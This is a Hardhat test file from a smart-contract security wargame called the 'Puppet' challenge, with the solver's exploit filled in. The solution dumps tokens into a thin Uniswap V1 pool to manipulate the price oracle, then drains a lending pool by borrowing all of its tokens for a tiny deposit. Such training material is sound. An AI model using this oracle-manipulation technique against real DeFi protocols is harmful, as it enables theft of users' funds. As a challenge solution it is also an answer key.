generated from PaulRBerg/hardhat-template
-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathpuppet.challenge.ts
117 lines (91 loc) · 5.14 KB
/
puppet.challenge.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import { BigNumber } from "ethers";
const exchangeJson = require("../../build-uniswap-v1/UniswapV1Exchange.json");
const factoryJson = require("../../build-uniswap-v1/UniswapV1Factory.json");
const { ethers } = require("hardhat");
const { expect } = require("chai");
// Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
function calculateTokenToEthInputPrice(tokensSold, tokensInReserve, etherInReserve) {
return tokensSold
.mul(ethers.BigNumber.from("997"))
.mul(etherInReserve)
.div(tokensInReserve.mul(ethers.BigNumber.from("1000")).add(tokensSold.mul(ethers.BigNumber.from("997"))));
}
describe("[Challenge] Puppet", function () {
let deployer, attacker;
// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");
const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();
const UniswapExchangeFactory = new ethers.ContractFactory(exchangeJson.abi, exchangeJson.evm.bytecode, deployer);
const UniswapFactoryFactory = new ethers.ContractFactory(factoryJson.abi, factoryJson.evm.bytecode, deployer);
const DamnValuableTokenFactory = await ethers.getContractFactory("DamnValuableToken", deployer);
const PuppetPoolFactory = await ethers.getContractFactory("PuppetPool", deployer);
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x15af1d78b58c40000", // 25 ETH
]);
expect(await ethers.provider.getBalance(attacker.address)).to.equal(ATTACKER_INITIAL_ETH_BALANCE);
// Deploy token to be traded in Uniswap
this.token = await DamnValuableTokenFactory.deploy();
// Deploy a exchange that will be used as the factory template
this.exchangeTemplate = await UniswapExchangeFactory.deploy();
// Deploy factory, initializing it with the address of the template exchange
this.uniswapFactory = await UniswapFactoryFactory.deploy();
await this.uniswapFactory.initializeFactory(this.exchangeTemplate.address);
// Create a new exchange for the token, and retrieve the deployed exchange's address
let tx = await this.uniswapFactory.createExchange(this.token.address, { gasLimit: 1e6 });
const { events } = await tx.wait();
this.uniswapExchange = await UniswapExchangeFactory.attach(events[0].args.exchange);
// Deploy the lending pool
this.lendingPool = await PuppetPoolFactory.deploy(this.token.address, this.uniswapExchange.address);
// Add initial token and ETH liquidity to the pool
await this.token.approve(this.uniswapExchange.address, UNISWAP_INITIAL_TOKEN_RESERVE);
await this.uniswapExchange.addLiquidity(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 },
);
// Ensure Uniswap exchange is working as expected
expect(
await this.uniswapExchange.getTokenToEthInputPrice(ethers.utils.parseEther("1"), { gasLimit: 1e6 }),
).to.be.eq(
calculateTokenToEthInputPrice(
ethers.utils.parseEther("1"),
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE,
),
);
// Setup initial token balances of pool and attacker account
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
// Ensure correct setup of pool. For example, to borrow 1 need to deposit 2
expect(await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther("1"))).to.be.eq(
ethers.utils.parseEther("2"),
);
expect(await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)).to.be.eq(
POOL_INITIAL_TOKEN_BALANCE.mul("2"),
);
});
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const amount = ethers.utils.parseEther("750");
const value = await this.uniswapExchange.getTokenToEthInputPrice(amount, { gasLimit: 1e6 });
const deadline = (await ethers.provider.getBlock("latest")).timestamp * 2;
await this.token.connect(attacker).approve(this.uniswapExchange.address, ethers.utils.parseEther("100000000"));
await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(amount, value, deadline, { gasLimit: 1e6 });
const depositRequired = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, { value: depositRequired });
});
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
});
});